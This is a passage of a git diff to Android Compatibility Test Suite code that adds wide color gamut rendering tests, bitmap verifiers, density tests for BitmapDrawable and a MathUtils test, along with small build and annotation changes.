diff --git a/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml b/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml
new file mode 100644
index 0000000..adc436a
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<android.uirendering.cts.testclasses.view.BitmapView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
index 2f7acd5..61767b3 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
@@ -27,6 +27,14 @@
protected Bitmap mDifferenceBitmap;
+ public boolean verify(Bitmap bitmap) {
+ int width = bitmap.getWidth();
+ int height = bitmap.getHeight();
+ int[] pixels = new int[width * height];
+ bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
+ return verify(pixels, 0, width, width, height);
+ }
+
/**
* This will test if the bitmap is good or not.
*/
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java
new file mode 100644
index 0000000..c075105
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.Point;
+import android.util.Half;
+import android.util.Log;
+
+import java.nio.ByteBuffer;
+
+public class SamplePointWideGamutVerifier extends WideGamutBitmapVerifier {
+ private static final String TAG = "SamplePointWideGamut";
+
+ private static final ColorSpace SCRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+ private final Point[] mPoints;
+ private final Color[] mColors;
+ private final float mEps;
+
+ public SamplePointWideGamutVerifier(Point[] points, Color[] colors, float eps) {
+ mPoints = points;
+ mColors = colors;
+ mEps = eps;
+ }
+
+ @Override
+ public boolean verify(ByteBuffer bitmap, int offset, int stride, int width, int height) {
+ boolean success = true;
+ for (int i = 0; i < mPoints.length; i++) {
+ Point p = mPoints[i];
+ Color c = mColors[i];
+
+ int index = p.y * stride + (p.x << 3);
+ float r = Half.toFloat(bitmap.getShort(index));
+ float g = Half.toFloat(bitmap.getShort(index + 2));
+ float b = Half.toFloat(bitmap.getShort(index + 4));
+
+ boolean localSuccess = true;
+ if (!floatCompare(c.red(), r, mEps)) localSuccess = false;
+ if (!floatCompare(c.green(), g, mEps)) localSuccess = false;
+ if (!floatCompare(c.blue(), b, mEps)) localSuccess = false;
+
+ if (!localSuccess) {
+ success = false;
+ Log.w(TAG, "Expected " + c.toString() + " at " + p.x + "x" + p.y
+ + ", got " + Color.valueOf(r, g, b, 1.0f, SCRGB).toString());
+ }
+ }
+ return success;
+ }
+
+ private static boolean floatCompare(float a, float b, float eps) {
+ return Float.compare(a, b) == 0 || Math.abs(a - b) <= eps;
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java
new file mode 100644
index 0000000..0c11a064
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Bitmap;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+public abstract class WideGamutBitmapVerifier extends BitmapVerifier {
+ @Override
+ public boolean verify(Bitmap bitmap) {
+ ByteBuffer dst = ByteBuffer.allocateDirect(bitmap.getAllocationByteCount());
+ bitmap.copyPixelsToBuffer(dst);
+ dst.rewind();
+ dst.order(ByteOrder.LITTLE_ENDIAN);
+
+ int width = bitmap.getWidth();
+ int height = bitmap.getHeight();
+ return verify(dst, 0, bitmap.getRowBytes(), width, height);
+ }
+
+ public abstract boolean verify(ByteBuffer bitmap, int offset, int stride,
+ int width, int height);
+
+ @Override
+ public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+ // This method is never called, we use
+ // verify(ByteBuffer bitmap, int offset, int stride, int width, int height) instead
+ return false;
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
new file mode 100644
index 0000000..7b01d34
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.testclasses;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.Resources.Theme;
+import android.graphics.BitmapFactory;
+import android.graphics.Rect;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.CanvasClient;
+import android.util.LayoutDirection;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapDrawableTest extends ActivityTestBase {
+
+ // The target context.
+ private Context mContext;
+
+ @Before
+ public void setup() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ private static final int[] DENSITY_VALUES = new int[] {
+ 160, 80, 320
+ };
+
+ private static final int[] DENSITY_IMAGES = new int[] {
+ R.drawable.bitmap_density,
+ R.drawable.bitmap_shader_density,
+ R.drawable.bitmap_shader_am_density,
+ };
+
+ @Test
+ public void testPreloadDensity() throws IOException {
+ final Resources res = mContext.getResources();
+ final int densityDpi = res.getConfiguration().densityDpi;
+ try {
+ for (int i = 0; i < DENSITY_IMAGES.length; i++) {
+ verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
+ }
+ } finally {
+ setResourcesDensity(res, densityDpi);
+ }
+ }
+
+ private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
+ throws IOException {
+ final Rect tempPadding = new Rect();
+
+ // Capture initial state at preload density.
+ final int preloadDensityDpi = densities[0];
+ setResourcesDensity(res, preloadDensityDpi);
+
+ final BitmapDrawable preloadedDrawable = (BitmapDrawable) res.getDrawable(sourceResId);
+ final ConstantState preloadedConstantState = preloadedDrawable.getConstantState();
+ final int origWidth = preloadedDrawable.getIntrinsicWidth();
+ final int origHeight = preloadedDrawable.getIntrinsicHeight();
+ assertFalse(preloadedDrawable.getPadding(tempPadding));
+
+ runTest(preloadedDrawable);
+
+ for (int i = 1; i < densities.length; i++) {
+ final int scaledDensityDpi = densities[i];
+ final float scale = scaledDensityDpi / (float) preloadDensityDpi;
+ setResourcesDensity(res, scaledDensityDpi);
+
+ final BitmapDrawable scaledDrawable =
+ (BitmapDrawable) preloadedConstantState.newDrawable(res);
+ scaledDrawable.setLayoutDirection(LayoutDirection.RTL);
+
+ // Sizes are rounded.
+ assertEquals(Math.round(origWidth * scale), scaledDrawable.getIntrinsicWidth());
+ assertEquals(Math.round(origHeight * scale), scaledDrawable.getIntrinsicHeight());
+
+ // Bitmaps have no padding.
+ assertFalse(scaledDrawable.getPadding(tempPadding));
+
+ runTest(scaledDrawable);
+
+ // Ensure theme density is applied correctly. Unlike most
+ // drawables, we don't have any loss of accuracy because density
+ // changes are re-computed from the source every time.
+ setResourcesDensity(res, preloadDensityDpi);
+
+ final Theme t = res.newTheme();
+ scaledDrawable.applyTheme(t);
+ assertEquals(origWidth, scaledDrawable.getIntrinsicWidth());
+ assertEquals(origHeight, scaledDrawable.getIntrinsicHeight());
+ assertFalse(scaledDrawable.getPadding(tempPadding));
+ }
+ }
+
+ private void runTest(Drawable dr) {
+ final Rect drBounds = new Rect(0, 0, dr.getIntrinsicWidth(), dr.getIntrinsicHeight());
+ CanvasClient canvasClient = (canvas, width, height) -> {
+ assertTrue(width > drBounds.width());
+ assertTrue(height > drBounds.height());
+ dr.setBounds(drBounds);
+ dr.draw(canvas);
+ };
+ createTest()
+ .addCanvasClient(canvasClient)
+ .runWithVerifier(new RectVerifier(Color.WHITE, Color.BLUE, drBounds));
+ }
+
+ private static void setResourcesDensity(Resources res, int densityDpi) {
+ final Configuration config = new Configuration();
+ config.setTo(res.getConfiguration());
+ config.densityDpi = densityDpi;
+ res.updateConfiguration(config, null);
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
index f0afd53..ce7e4b5 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
@@ -99,9 +99,10 @@
}
}
+ RtOnlyFrameCounter counter = new RtOnlyFrameCounter();
+
ViewInitializer initializer = new ViewInitializer() {
Animator mAnimator;
- RtOnlyFrameCounter mCounter = new RtOnlyFrameCounter();
@Override
public void initializeView(View view) {
@@ -128,19 +129,21 @@
child.setColor(Color.BLUE);
}
}, 1000);
- getActivity().getWindow().addOnFrameMetricsAvailableListener(mCounter, handler);
+ getActivity().getWindow().addOnFrameMetricsAvailableListener(counter, handler);
}
@Override
public void teardownView() {
mAnimator.cancel();
- Assert.assertTrue(mCounter.isLargeEnough());
+ getActivity().getWindow().removeOnFrameMetricsAvailableListener(counter);
}
};
createTest()
.addLayout(R.layout.frame_layout, initializer, true)
.runWithAnimationVerifier(new ColorCountVerifier(Color.RED, 0));
+
+ Assert.assertTrue(counter.isLargeEnough());
}
/*
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 1ff74bf..0763e4b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -109,11 +109,6 @@
}
@Test
- public void testBitmapConfigFromIndex8() {
- testBitmapCopy(R.drawable.index_8, null, Bitmap.Config.HARDWARE);
- }
-
- @Test
public void testBitmapConfigFromHardwareToHardware() {
testBitmapCopy(R.drawable.robot, Bitmap.Config.HARDWARE, Bitmap.Config.HARDWARE);
}
@@ -247,4 +242,4 @@
canvas.drawBitmap(copy, 0, 0, null);
}, true).runWithComparer(new MSSIMComparer(0.99));
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 2e1ce85..153bf5b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -15,13 +15,17 @@
*/
package android.uirendering.cts.testclasses;
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+
import android.animation.ObjectAnimator;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.Point;
import android.graphics.Rect;
import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
@@ -36,8 +40,6 @@
import android.view.animation.LinearInterpolator;
import android.widget.FrameLayout;
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
index abbec36..3923598 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
@@ -38,6 +38,8 @@
import android.view.TextureView.SurfaceTextureListener;
import android.view.ViewGroup;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Assert;
@@ -47,6 +49,7 @@
import java.util.concurrent.CountDownLatch;
+@CddTest(requirement="7.1.4.4/C-0-3")
@MediumTest
@RunWith(AndroidJUnit4.class)
public class TextureViewTests extends ActivityTestBase {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
new file mode 100644
index 0000000..9f46e36
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.Point;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointWideGamutVerifier;
+import android.uirendering.cts.testclasses.view.BitmapView;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class WideColorGamutTests extends ActivityTestBase {
+ private static final ColorSpace DISPLAY_P3 = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
+ private static final ColorSpace SCRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+ private static final Point[] POINTS = {
+ new Point(16, 16),
+ new Point(48, 16),
+ new Point(80, 16),
+ };
+
+ // The colors are defined as found in wide-gamut-test.png, which is Display P3
+ // Since the UI toolkit renders in scRGB, we want to convert here to compare values
+ // directly in the sample point verifier
+ private static final Color[] COLORS = {
+ Color.valueOf(0.937f, 0.000f, 0.000f, 1.0f, DISPLAY_P3).convert(SCRGB),
+ Color.valueOf(1.000f, 0.000f, 0.000f, 1.0f, DISPLAY_P3).convert(SCRGB),
+ Color.valueOf(0.918f, 0.200f, 0.137f, 1.0f, DISPLAY_P3).convert(SCRGB)
+ };
+
+ private Bitmap mBitmap;
+
+ @Override
+ protected boolean isWideColorGamut() {
+ return true;
+ }
+
+ @Before
+ public void loadBitmap() {
+ try (InputStream in = getActivity().getAssets().open("wide-gamut-test.png")) {
+ mBitmap = BitmapFactory.decodeStream(in);
+ } catch (IOException e) {
+ Assert.fail("Could not load wide-gamut-test.png");
+ }
+ }
+
+ @SuppressWarnings("SameParameterValue")
+ private BitmapVerifier getVerifier(Point[] points, Color[] colors, float eps) {
+ if (getActivity().getWindow().isWideColorGamut()) {
+ return new SamplePointWideGamutVerifier(points, colors, eps);
+ }
+ return new SamplePointVerifier(points,
+ Arrays.stream(colors).mapToInt(Color::toArgb).toArray(),
+ (int) (eps * 255.0f + 0.5f));
+ }
+
+ @Test
+ public void testDraw() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+
+ @Test
+ public void testSaveLayer() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ bv.setSaveLayer(true);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+
+ @Test
+ public void testHardwareLayer() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ bv.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+
+ @Test
+ public void testSaveLayerInHardwareLayer() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ bv.setSaveLayer(true);
+ bv.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java
new file mode 100644
index 0000000..b672e40
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Path;
+import android.util.AttributeSet;
+import android.view.View;
+import android.widget.FrameLayout;
+
+public class BitmapView extends View {
+ private Bitmap mBitmap;
+ private boolean mSaveLayer;
+
+ public BitmapView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ }
+
+ public BitmapView(Context context, AttributeSet attrs, int defStyleAttr) {
+ super(context, attrs, defStyleAttr);
+ }
+
+ public BitmapView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+ super(context, attrs, defStyleAttr, defStyleRes);
+ }
+
+ public BitmapView(Context context, Bitmap b, boolean saveLayer) {
+ super(context);
+ mBitmap = b;
+ mSaveLayer = saveLayer;
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public void setBitmap(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ public boolean isSaveLayer() {
+ return mSaveLayer;
+ }
+
+ public void setSaveLayer(boolean saveLayer) {
+ mSaveLayer = saveLayer;
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ super.onDraw(canvas);
+ if (mSaveLayer) {
+ canvas.saveLayer(0.0f, 0.0f, getWidth(), getHeight(), null);
+ }
+ canvas.drawBitmap(mBitmap, 0, 0, null);
+ if (mSaveLayer) {
+ canvas.restore();
+ }
+ }
+
+ @Override
+ protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
+ setMeasuredDimension(mBitmap.getWidth(), mBitmap.getHeight());
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index 23b729a..57e7d3b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -82,11 +82,16 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setClass(instrumentation.getTargetContext(), DrawActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(DrawActivity.EXTRA_WIDE_COLOR_GAMUT, isWideColorGamut());
sActivity = (DrawActivity) instrumentation.startActivitySync(intent);
}
return sActivity;
}
+ protected boolean isWideColorGamut() {
+ return false;
+ }
+
@AfterClass
public static void tearDownClass() {
if (sActivity != null) {
@@ -124,7 +129,9 @@
if (mScreenshotter == null) {
SynchronousPixelCopy copy = new SynchronousPixelCopy();
Bitmap dest = Bitmap.createBitmap(
- TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
+ TEST_WIDTH, TEST_HEIGHT,
+ getActivity().getWindow().isWideColorGamut()
+ ? Config.RGBA_F16 : Config.ARGB_8888);
Rect srcRect = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
srcRect.offset(testPositionInfo.surfaceOffset.x, testPositionInfo.surfaceOffset.y);
Log.d(TAG, "capturing screenshot of " + srcRect.toShortString());
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
index 7060f46..1d4d3f4 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.fail;
import android.app.Activity;
+import android.content.pm.ActivityInfo;
import android.content.res.Configuration;
import android.graphics.Point;
import android.os.Bundle;
@@ -41,6 +42,8 @@
* A generic activity that uses a view specified by the user.
*/
public class DrawActivity extends Activity {
+ static final String EXTRA_WIDE_COLOR_GAMUT = "DrawActivity.WIDE_COLOR_GAMUT";
+
private final static long TIME_OUT_MS = 10000;
private final Object mLock = new Object();
private ActivityTestBase.TestPositionInfo mPositionInfo;
@@ -54,6 +57,9 @@
super.onCreate(bundle);
getWindow().getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN);
+ if (getIntent().getBooleanExtra(EXTRA_WIDE_COLOR_GAMUT, false)) {
+ getWindow().setColorMode(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT);
+ }
mHandler = new RenderSpecHandler();
int uiMode = getResources().getConfiguration().uiMode;
mOnTv = (uiMode & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_TELEVISION;
@@ -204,7 +210,6 @@
}
private class DrawCounterListener implements ViewTreeObserver.OnDrawListener {
- private final int[] mLocationInWindow = new int[2];
private static final int DEBUG_REQUIRE_EXTRA_FRAMES = 1;
private int mDrawCount = 0;
@@ -215,8 +220,8 @@
return;
}
mView.post(() -> {
- Log.d("UiRendering", "notifying capture");
mView.getViewTreeObserver().removeOnDrawListener(this);
+
final int[] location = new int[2];
mViewWrapper.getLocationInWindow(location);
Point surfaceOffset = new Point(location[0], location[1]);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
index d5f9324..1523283 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -83,9 +83,7 @@
String testName, String debugMessage) {
int width = bitmap.getWidth();
int height = bitmap.getHeight();
- int[] pixels = new int[width * height];
- bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
- boolean success = bitmapVerifier.verify(pixels, 0, width, width, height);
+ boolean success = bitmapVerifier.verify(bitmap);
if (!success) {
Bitmap croppedBitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height);
BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 32d4584..aab07d7 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -22,13 +22,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-annotations \
android-support-test \
ctstestrunner \
- legacy-android-test
+ legacy-android-test \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
index 4966be0..2061610 100644
--- a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
+++ b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
@@ -27,9 +27,12 @@
import android.view.Display;
import android.view.WindowManager;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+@CddTest(requirement="7.1.2/C-2-1")
@SmallTest
@RunWith(AndroidJUnit4.class)
public class DisplayMetricsTest {
diff --git a/tests/tests/util/src/android/util/cts/MathUtilsTest.java b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
new file mode 100644
index 0000000..d19a652
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.util.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.MathUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MathUtilsTest {
+
+ @Test
+ public void testMap() {
+ // converting to int since assertEquals can't compare floats
+ int result = (int) MathUtils.map(0, 1, 0, 100, 0.5f);
+ assertEquals("Half of 0..100 should be 50", result, 50);
+ }
+}
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index f582b41..533d98b 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
